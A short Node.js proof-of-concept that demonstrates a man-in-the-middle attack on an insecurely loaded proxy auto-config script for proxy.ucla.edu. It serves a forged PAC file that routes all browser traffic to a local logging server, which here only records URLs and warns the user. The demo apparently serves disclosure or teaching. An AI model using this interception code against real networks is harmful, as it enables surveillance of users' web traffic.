Demo of man-in-the-middle attack against a proxy script loaded insecurely

index.js

const http = require('http')

// The malicious proxy configuration script
// Replaces the real script
// Directs all requests to malicious proxy server
function FindProxyForURL(url, host) {
	return "PROXY ::1:8080";
}

// The man in the middle
// Intercepts requests to http://proxy.ucla.edu/cgi/proxy
// To reproduce: add the line "::1 proxy.ucla.edu" to your hosts file
http.createServer((req, res) => {
	console.log('sending fake script to',
		`${req.socket.remoteAddress}:${req.socket.remotePort}`)
	res.setHeader('Content-type', 'application/x-ns-proxy-autoconfig')
	res.end(FindProxyForURL.toString())
}).listen(80)

// The malicious proxy server
// Doesn't actually function as a proxy
// Logs all requests and gives warning to user
http.createServer((req, res) => {
	console.log('caught request for', req.url)
	res.setHeader('Content-type', 'text/plain')
	res.end('I see you')
}).listen(8080)